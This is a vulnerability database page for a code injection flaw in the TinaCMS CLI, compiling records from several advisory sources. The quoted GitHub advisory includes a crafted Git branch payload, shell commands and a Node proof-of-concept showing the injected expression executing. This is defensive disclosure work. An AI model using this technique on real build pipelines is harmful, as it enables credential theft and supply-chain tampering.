Every CVE Search/ Get API key

CVE-2026-108259

Tina: Code injection via unescaped Git branch name in generated client source

8.2 HighFix available

Tina is a headless content management system. Prior to 3.0.0, @tinacms/cli reads Git branch values from VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD, incorporates the raw value into the API URL, and interpolates that URL into JavaScript string literals in packages/@tinacms/cli/src/next/codegen/index.ts and packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts. A crafted Git-valid branch name containing a quote can terminate the generated string and inject an expression that executes when the generated client module is imported during a preview build. The injected code runs with the build process privileges and can read environment credentials, modify deployment artifacts, or make network requests. This issue is fixed in version 3.0.0.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
None

Exploit likelihood

0.33%Up 0.1 points since Oct 10, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.2

Tina: Code injection via unescaped Git branch name in generated client source

Tina is a headless content management system. Prior to 3.0.0, @tinacms/cli reads Git branch values from VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD, incorporates the raw value into the API URL, and interpolates that URL into JavaScript string literals in packages/@tinacms/cli/src/next/codegen/index.ts and packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts. A crafted Git-valid branch name containing a quote can terminate the generated string and inject an expression that executes when the generated client module is imported during a preview build. The injected code runs with the build process privileges and can read environment credentials, modify deployment artifacts, or make network requests. This issue is fixed in version 3.0.0.

Record
CVE-2026-108259
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Weakness
CWE-94
Updated
2026-11-02
EUVDEUVD-2026-95987 8.2

Tina is a headless content management system. Prior to 3.0.0, @tinacms/cli reads Git branch values from VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD, incorporates the raw value into the API URL, and interpolates that URL into JavaScript string literals in packages/@tinacms/cli/src/next/codegen/index.ts and packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts. A crafted Git-valid branch name containing a quote can terminate the generated string and inject an expression that executes when the generated client module is imported during a preview build. The injected code runs with the build process privileges and can read environment credentials, modify deployment artifacts, or make network requests. This issue is fixed in version 3.0.0.

Record
EUVD-2026-95987
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-pwhx-cvv3-qj5c 8.2

Tina: Code injection via unescaped Git branch name in generated client source

Summary

@tinacms/cli inserts the raw Git branch value into the generated client.ts source without escaping or encoding. A Git-valid branch name can close the string literal and inject an arbitrary JavaScript expression that executes when the consumer build imports the generated client module.

Affected component

  • Source (branch read): packages/@tinacms/cli/src/cmds/init/templates/config.ts lines 155–172 — reads VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD into config.branch
  • Transform (URL build): packages/@tinacms/cli/src/next/codegen/index.ts lines 219–253 — _createApiUrl() concatenates the raw branch into the API URL with no encodeURIComponent
  • Sink (template): packages/@tinacms/cli/src/next/codegen/index.ts lines 363–381 — genClient() interpolates the URL into url: '${apiURL}'
  • Sibling sink: packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts line 55 — url: "${apiURL}" (same pattern, double quotes)

Root cause

The codegen template at index.ts:376 uses:

url: '${apiURL}'

where apiURL contains the raw branch name. No JSON.stringify, encodeURIComponent, or string-escape function is applied at any point in the pipeline. A single quote in the branch name closes the string literal and allows expression injection.

Payload

The following is a valid Git branch name (git check-ref-format accepts it):

x'+(globalThis.__TINA_PROBE='hit')+'

Generated source (sink)

When codegen runs with this branch, the generated client.ts contains:

export const client = createClient({
  url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.__TINA_PROBE='hit')+'',
  token: '<token>',
  queries,
});

The ' in the branch name closes the URL string. +(globalThis.__TINA_PROBE='hit')+ is parsed as a JavaScript expression. The trailing +' reopens a string to keep the syntax valid.

Steps to reproduce

Prerequisites: Node.js, Git, npm

mkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro
git init && git commit --allow-empty -m "init"
git branch "x'+(globalThis.__TINA_PROBE='hit')+'"
npm init -y && npm install esbuild

Create repro.mjs:

import { transform } from 'esbuild';
import vm from 'vm';

// Simulate VERCEL_GIT_COMMIT_REF containing the malicious branch
const branch = "x'+(globalThis.__TINA_PROBE='hit')+'";

// _createApiUrl() logic from index.ts:252
const apiURL = `https://content.tinajs.io/2.4/content/my-client/github/${branch}`;

// genClient() template from index.ts:376
const generated = `
import { createClient } from "tinacms/dist/client";
export const client = createClient({ url: '${apiURL}', token: 'xxx' });
`;

console.log("Generated source:\n", generated);

// Compile (same as consumer build)
const compiled = await transform(generated, { loader: 'ts', format: 'cjs' });

// Execute in sandboxed VM
const sandbox = {
  globalThis: {},
  module: { exports: {} },
  exports: {},
  require: () => ({ createClient: (o) => o }),
};
vm.createContext(sandbox);
vm.runInContext(compiled.code, sandbox);

console.log("__TINA_PROBE =", sandbox.globalThis.__TINA_PROBE);
// Output: __TINA_PROBE = hit

Run: node repro.mjs

Result: globalThis.__TINA_PROBE is set to 'hit', confirming the injected expression executed during module evaluation.

Negative control: Repeating with branch = "feature/safe-branch" does not trigger injection.

Impact

The injected expression executes with the full privileges of the consumer build process. In a typical Vercel or GitHub Actions preview deployment:

  • Build environment variables are accessible (process.env), which may include NPM_TOKEN, VERCEL_TOKEN, cloud provider secrets, and API keys
  • Build artifacts can be modified, enabling supply-chain compromise of the deployed output
  • Network access is available to exfiltrate data

Attack scenario: An attacker opens a pull request to any open-source…

Record
GHSA-pwhx-cvv3-qj5c
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Weakness
CWE-94
Updated
2026-11-02
NVD 8.2

Tina is a headless content management system. Prior to 3.0.0, @tinacms/cli reads Git branch values from VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD, incorporates the raw value into the API URL, and interpolates that URL into JavaScript string literals in packages/@tinacms/cli/src/next/codegen/index.ts and packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts. A crafted Git-valid branch name containing a quote can terminate the generated string and inject an expression that executes when the generated client module is imported during a preview build. The injected code runs with the build process privileges and can read environment credentials, modify deployment artifacts, or make network requests. This issue is fixed in version 3.0.0.

Record
CVE-2026-108259
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Weakness
CWE-94
Updated
2026-11-02
OSV 8.2

Tina: Code injection via unescaped Git branch name in generated client source

Tina is a headless content management system. Prior to 3.0.0, @tinacms/cli reads Git branch values from VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD, incorporates the raw value into the API URL, and interpolates that URL into JavaScript string literals in packages/@tinacms/cli/src/next/codegen/index.ts and packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts. A crafted Git-valid branch name containing a quote can terminate the generated string and inject an expression that executes when the generated client module is imported during a preview build. The injected code runs with the build process privileges and can read environment credentials, modify deployment artifacts, or make network requests. This issue is fixed in version 3.0.0.

Record
CVE-2026-108259
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Weakness
CWE-94
Updated
2026-11-02
OSVGHSA-pwhx-cvv3-qj5c 8.2

Tina: Code injection via unescaped Git branch name in generated client source

Summary

@tinacms/cli inserts the raw Git branch value into the generated client.ts source without escaping or encoding. A Git-valid branch name can close the string literal and inject an arbitrary JavaScript expression that executes when the consumer build imports the generated client module.

Affected component

  • Source (branch read): packages/@tinacms/cli/src/cmds/init/templates/config.ts lines 155–172 — reads VERCEL_GIT_COMMIT_REF, GITHUB_BRANCH, or HEAD into config.branch
  • Transform (URL build): packages/@tinacms/cli/src/next/codegen/index.ts lines 219–253 — _createApiUrl() concatenates the raw branch into the API URL with no encodeURIComponent
  • Sink (template): packages/@tinacms/cli/src/next/codegen/index.ts lines 363–381 — genClient() interpolates the URL into url: '${apiURL}'
  • Sibling sink: packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts line 55 — url: "${apiURL}" (same pattern, double quotes)

Root cause

The codegen template at index.ts:376 uses:

url: '${apiURL}'

where apiURL contains the raw branch name. No JSON.stringify, encodeURIComponent, or string-escape function is applied at any point in the pipeline. A single quote in the branch name closes the string literal and allows expression injection.

Payload

The following is a valid Git branch name (git check-ref-format accepts it):

x'+(globalThis.__TINA_PROBE='hit')+'

Generated source (sink)

When codegen runs with this branch, the generated client.ts contains:

export const client = createClient({
  url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.__TINA_PROBE='hit')+'',
  token: '<token>',
  queries,
});

The ' in the branch name closes the URL string. +(globalThis.__TINA_PROBE='hit')+ is parsed as a JavaScript expression. The trailing +' reopens a string to keep the syntax valid.

Steps to reproduce

Prerequisites: Node.js, Git, npm

mkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro
git init && git commit --allow-empty -m "init"
git branch "x'+(globalThis.__TINA_PROBE='hit')+'"
npm init -y && npm install esbuild

Create repro.mjs:

import { transform } from 'esbuild';
import vm from 'vm';

// Simulate VERCEL_GIT_COMMIT_REF containing the malicious branch
const branch = "x'+(globalThis.__TINA_PROBE='hit')+'";

// _createApiUrl() logic from index.ts:252
const apiURL = `https://content.tinajs.io/2.4/content/my-client/github/${branch}`;

// genClient() template from index.ts:376
const generated = `
import { createClient } from "tinacms/dist/client";
export const client = createClient({ url: '${apiURL}', token: 'xxx' });
`;

console.log("Generated source:\n", generated);

// Compile (same as consumer build)
const compiled = await transform(generated, { loader: 'ts', format: 'cjs' });

// Execute in sandboxed VM
const sandbox = {
  globalThis: {},
  module: { exports: {} },
  exports: {},
  require: () => ({ createClient: (o) => o }),
};
vm.createContext(sandbox);
vm.runInContext(compiled.code, sandbox);

console.log("__TINA_PROBE =", sandbox.globalThis.__TINA_PROBE);
// Output: __TINA_PROBE = hit

Run: node repro.mjs

Result: globalThis.__TINA_PROBE is set to 'hit', confirming the injected expression executed during module evaluation.

Negative control: Repeating with branch = "feature/safe-branch" does not trigger injection.

Impact

The injected expression executes with the full privileges of the consumer build process. In a typical Vercel or GitHub Actions preview deployment:

  • Build environment variables are accessible (process.env), which may include NPM_TOKEN, VERCEL_TOKEN, cloud provider secrets, and API keys
  • Build artifacts can be modified, enabling supply-chain compromise of the deployed output
  • Network access is available to exfiltrate data

Attack scenario: An attacker opens a pull request to any open-source…

Record
GHSA-pwhx-cvv3-qj5c
CVSS 3.1
8.2 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N
Weakness
CWE-94
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
@tinacms/cli
npm
through 2.7.0
3.0.0
@tinacms/cli
npm
before 3.0.0
3.0.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-108259 is a high vulnerability (CVSS 8.2) in @tinacms Cli, published October 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.33%, the 26th percentile. Fixed in @tinacms/cli 3.0.0.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open